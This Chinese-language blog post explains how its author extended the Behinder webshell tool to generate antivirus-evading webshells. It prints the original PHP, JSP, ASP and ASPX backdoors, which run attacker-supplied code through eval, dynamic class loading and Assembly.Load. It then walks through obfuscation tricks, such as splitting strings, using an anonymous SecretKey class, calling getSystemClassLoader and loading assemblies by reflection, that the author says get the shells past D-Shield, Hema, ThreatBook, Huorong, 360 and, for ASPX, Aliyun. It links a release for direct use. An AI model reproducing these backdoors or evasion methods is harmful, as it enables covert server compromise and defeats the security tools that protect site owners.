前言

有小伙伴提议说,我们上个文章改了一下冰蝎的流量,但是在实际的应用中,我们打战肯定要先传木马落地,如果不能落地,那么你流量改的再好,其实也没有意义,想想,确实也是。没有第一步上传文件,哪里存在流量呢。

那么这次咱们来做一下免杀。在实际的应用中,似乎我们经常碰到安全设备,奈何咱这也没有啥安全设备,我们就采用常见的厂商的在线杀软吧。如果有小伙伴有的话,可以帮我测测,把结果告诉我,笔者再进行优化。

ui编写

在godzilla中,作者已经给我们写好了生成脚本的按钮,只需要自己去生成就好了,但是冰蝎是不自带的,冰蝎的木马是在我们下载的时候,放在同目录里面的,直接拿去用就好了。但似乎不太适合我们,为什么呢,因为就算我们将免杀后的木马放到目录下,他只能是一个文件,就是不能动态的生成了,一个免杀文件很容易被厂商标记,所以我们还是想办法去每次生成的都不太一样。

net/rebeyond/behinder/ui/controller是冰蝎界面的目录,里面有很多文件,包含各种controller
image-20250706025725077

其中java的肯定都是各种功能文件了,fxml是ui界面了,冰蝎的ui界面使用的是JavaFX。

JavaFX 是 Java 平台的一个图形用户界面(GUI)工具包,用于创建富客户端应用(Rich Client Application)。它是 Java 的官方 GUI 库之一,是 Swing 的现代替代方案,支持硬件加速、样式化(CSS)、动画、多媒体等功能。

简单看一个main.fxml

image-20250706030023010

可以看到一些TableColumn,也就是这里,
image-20250706030109566

需要改什么的话,改这里就可以了。

这里不在讲解javafx的语法了,不是本文的重点,是在不会写,可以用scene builder去界面话编程,安装后
image-20250706030455421

image-20250706030515440

就可以使用了,直接拖动即可。

接下来开始写,在net/rebeyond/behinder/ui/Main.fxml,先加个按钮,
image-20250706030708263

image-20250706030716807

然后给到功能点,本来笔者想着直接在main.fxml里面直接写,但是把他的功能点net.rebeyond.behinder.ui.controller.MainController,copy一份后,总实报错,后面也没解决掉,索性直接从新定义一个Controller,写自己的功能。我们也从新定义一个免杀生成的界面,就是点击按钮后的界面,miansha.fxml

image-20250706080335741

image-20250706080719677

它的Controller,也是自己定义的,一会在里面写功能点。image-20250706080437654

因为刚刚我们提到MainController不能重新写,老是报错,我们就将免杀的按钮绑定到main.java,然后读取miansha.fxml,也是一样的。image-20250706080647669

这样,整个框架就完成了,后面就是补一下每个生成免杀的功能点了。

php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post"AES128"$key);
}
$arr=explode('|'$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

先看原版的server端木马,定义了key,$post=file_get_contents("php://input");获取所有输入内容,这也就是我们上篇文章看到的冰蝎的流量是不需要传参的,拿到post的数据后,两种方式,如果没有openssl,就用post异或key,如果有openssl,那么就aes解发来的数据,然后用|区分eval和assert也就是区分php5和php7去执行命令

image-20250708142341950

后面就好理解了,用__invoke()方法,当你像调用函数一样“调用一个对象”时,PHP 会自动执行这个对象的 __invoke() 方法;

class C{public function __invoke($p) {eval($p."");}}定义了一个类,@call_user_func(new C(),$params);调用这个类,此时$params=$p,然后执行上面图片中看到的eval。

好,了解完木马,我们就可以写免杀了,
image-20250709231438699

源码肯定报毒,我们先来fuzz一下,

image-20250709231528436

去掉一半,报

image-20250709231610013

这个地方我们可以先base64 在解回来。

image-20250709232118501

这里再把file_get_contents给拆除去,既可以了,当然也可以base64一下

image-20250709232220803

此时就报eval了,我们再去解决eval的问题。
这里我们可以使用godzilla那种写法,就可以了

image-20250709235845934

大家会看到,下面的魔术函数没了,其实不用,反正都是加载eval,有一个就可以了,
image-20250709232552802

报可疑文件,这里不知道哪里报了,我们接着fuzz
经过guzz发现是在xor那里,
image-20250709232744325

1
2
3
4
5
$post=$sddd($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}

这好办,我们改改变量,改改数字即可,写到函数里就可以了。

image-20250709234009451

image-20250709234028560

河马本地版,
image-20250709235052885

网页版有问题,我们也fuzz一下,

image-20250709235150875

image-20250709235833348我们这里直接把eval拿掉,image-20250709235652766

就可以了,啊这,image-20250710000036036

这里直接把所有的都删掉,就剩eval,image-20250710000109872

也还是不行,那这样的话,暂时就解决不掉了。
微步image-20250710005546630

image-20250710005557304

火绒,360

image-20250710010235877

其他就不在测试了,大家要是有啥商业的可疑帮我测测,提issue。好开始封装到里面,这次我们依然用动态的,保证每次生成的木马hash都不一样。
image-20250710010649587

先给定一个模板,然后将变量替换掉,花一点时间,写一下
image-20250710012845890

image-20250710022245696

ok,打包,编译
image-20250710022415478

image-20250710022447466

image-20250710022434216

image-20250710024629907

image-20250710022526908

没有问题,正常使用。

image-20250710024401997

好的,php我们就先到这里,接下来jsp。

jsp

老样子,先来学习一下jsp的木马

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

木马很短,核心就是payload 解密 base64, 在解密aes 在动态类加载

这里面经过笔者测试,<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>,容易被杀,session.putValue(“u”,k);Cipher c=Cipher.getInstance(“AES”);c.init(2,new SecretKeySpec(k.getBytes(),”AES”));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer也容易被杀,我们一点一点来,image-20250713192137570

原版的木马肯定报毒,我们fuzz一下,image-20250713194553717

直接给aes及功能去掉,不报,那就是,主要看下面这部分。
image-20250713194620941

1
2
3
4
5
<%if (request.getMethod().equals("PO"+"ST")){String ssss="e45e329feb5d925b";
session.putValue("u",ssss);
Cipher c=Cipher.getInstance("A"+"E"+"S");
c.init(2,new SecretKeySpec(k.getBytes(),"A"+"E"+"S"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(request,response,seesion);}%>

去除new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(request,response,seesion);,就要报可疑image-20250713201843980

那么首先我们给他拆开,这一句太长了。
image-20250713203851218

花一点点时间拆开了image-20250713203923359

就报了可疑,那么还是需要fuzz一下,看看那一句话不行。经过测试发现

1
2
3
4
5
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(ssss.getBytes(), "AES"));

ClassLoader cl = ClassLoader.getSystemClassLoader();
XxYzLoader u = new XxYzLoader(cl);

经过笔者测试,这两句都有问题,一句是加载aes,一句是动态加载类,我们在上次的哥斯拉二开中,其实已经发现了,d盾会拦截getClassLoader这种类似的单词,所以这里我们还是用getSystemClassLoader
ClassLoader cl = ClassLoader.getSystemClassLoader(); XxYzLoader u = new XxYzLoader(cl);

上次的哥斯拉免杀aes加密也是拦截,也就是SecretKeySpec,哥斯拉用的是反射类加载绕过的,这里我们使用匿名类,大部分 AES 用法都需要 SecretKeySpec,但我们可以用一个匿名类直接实现 SecretKey,只要它返回的内容符合要求。

1
2
3
4
5
6
7
8
9
10
11
SecretKey key = new javax.crypto.SecretKey() {
public String getAlgorithm() {
return "AES";
}
public String getFormat() {
return "RAW";
}
public byte[] getEncoded() {
return ssss.getBytes();
}
};

也就是这样,这样也就绕过了SecretKeySpec。image-20250713212725771

这样我们改完,也就没有问题了,免杀d盾了。image-20250713212823506

在线版河马也没有问题,上次我们的godzilla,jsp就没有过去,因为当时使用的是反射类加载,他会报反射类加载,这次并没有使用。
微步
也没啥问题。
火绒360
image-20250713213830826

ok,其他的就不在测试了,我们封装到冰蝎中,改改名,让他动起来。image-20250713221823114

花一点点时间把模板写好,老样子,进行随机字符选取并且生成。image-20250713223354412

这里如果你在生成木马的时候,没有写木马,默认为bohemian
image-20250713224407939

生成三分,都不一样,ok。image-20250713224443321

功能也都正常。再把404加上。

image-20250714001925736image-20250714001952066ok。jsp就先到这里。下面免杀asp。

asp

我们先来看下asp的木马,

1
2
3
4
5
6
7
8
9
10
11
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

可以看到,很短,在asp中,加密就不在用aes了,而是用了xor,可能是调用aes不好调用了。我们来看下怎么免杀。image-20250714010004614

原版肯定被杀,这里xor需要改一下,还有就是execute需要改一下。
image-20250720101659191

经过笔者测试,result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))这一句从新写一下就可过掉d盾。看看河马
image-20250720101920447

河马本地的也是没有问题。在线的也没有问题。
image-20250720102029758

微步,也没啥问题,最近测试好像老是未知。
image-20250720105901614

image-20250720105919523

我们花一点点时间封装一下,
image-20250720110010668

整个模板,套一下,即可。
image-20250720110101718

欧克。大家在使用的时候,如果传上去是500,不要慌,直接连接即可。正常使用。这个报错是没加try.不影响使用,因为没传递参数嘛.
image-20250720110256177

image-20250720110442638

image-20250720110525367

同时也可以看到,加了状态码。
image-20250720110555691

大家也可以看到这个asp的请求包和回显包都是乱码,这就是马中xor起的作用,有不可显字符嘛。
image-20250720111519445

好的,asp先到这里,接下看aspx

aspx

还是先来看下aspx的源码,

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

也是很短。RijndaelManaged() 这里是创建aes加密,用获取到的key。那么我们就重点对这里做免杀。

image-20250720112953875

先简单拆一下,可以看到单文件aspx,我们fuzz一下,看看哪里有问题,还是以前提到的,RijndaelManaged 换成AesManaged,这个加密函数替换一下,就可以了。
这里笔者在fuzz的时候发现是Assembly.Load,他是用来插件系统加载用户扩展 DLL,简单的来说就是加载内存的,似乎并没有什么其他的能替换掉,可以拆开,像下面这样反射加载。

1
2
3
4
5
string asmClass = "System." + "Reflection." + "Assembly";
string loadMethod = "Lo" + "ad";
var asmType = Type.GetType(asmClass);
var asm = asmType.GetMethod(loadMethod, new Type[] { typeof(byte[]) }).Invoke(null, new object[] { ccccc });
((Assembly)asm).CreateInstance("U").Equals(this);

image-20250720143532447

这样就把可以文件去掉了。
剩下这个单文件aspx了,这个我们在以前godzilla中,已经说到了,
image-20250720144344297

就是头部有这种<%@ Page Language="C#" %>``<%@Import Namespace="System.Reflection"%>,这里处理是将<%@ Page Language=”C#” %>放到后面,也就是文件底部,
image-20250720144512576

那么其实还是会报单文件,这里就是还存在<%@Import Namespace="System.Reflection"%>,我只需将这个引入命名空间System.Reflection直接写到利用的地方即可,
image-20250720145634926

这样就不用在上面定义了。也就可以过d盾了。
image-20250720145702160

image-20250720145816947本地河马没问题。在线河马也没问题
image-20250720145947400

微步,只能说微步的gpt说的很对,当然给到gpt,我感觉都能分析出吧.
image-20250720150239785

image-20250720150329609

阿里云,aspx的我惊奇的发现,过掉了阿里云,在Godzilla中是没有过掉的,应该是吧字符串都拆开的原因.image-20250720150558999

好,这样免杀就做完了,360和火绒就不看了,没啥意思.
image-20250720151459044

花一点点时间,封装一下,
image-20250720155335012

好了,生成木马时记得写密码,不写的话就是bohemian。

image-20250720155618614

image-20250720155652802

image-20250720155723593

使用起来也是没有任何问题。302状态码也加上了。这样aspx的也就完成了。

总结

在界面添加了免杀生成的按钮,这样在找马的时候就不会手忙脚乱的了,直接生成即可。这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过,aspx的阿里云过去了。不得不承认,aliyun是强的。php 简单使用了一下类、对关键字进行了chr的替换,jsp重写了base64编码方法,重写了加载aes,使用的反射型方法写的,对关键字进行替换,asp使用了chr进行替换关键字拼接字符串,换了一下函数的写法,aspx对关键函数拆开重写,并且将关键查杀函数重新写了一下。

下个版本

1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装,
后面需要做的:修改一下加密方式,这样的话会更好一点。其他语言的 比如 jspx的 ,asmx的都没做,后面做。冰蝎4,是需要给到加密方式和解密方式的,我们想办法直接生成一个文件,里面包含免杀的木马,包含加解密方式,直接拿过来复制用即可,后面我们再来实现。
image-20250720160341116

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。
上个版本由于写的比较菜,没好意思跟大家要star,这次自我感觉还行,也算是实战能用了,如果感觉还凑合,大家帮忙点点star

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。

参考
1
2
3
https://github.com/rebeyond/Behinder            原版behinder
https://uuzdaisuki.com/2021/05/12/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6jsp%E7%AF%87/ webshell免杀研究jsp篇
https://www.secpulse.com/archives/193780.html 简单操作实现冰蝎jsp webshell 阿里云免杀

emmm 太菜了
一直在路上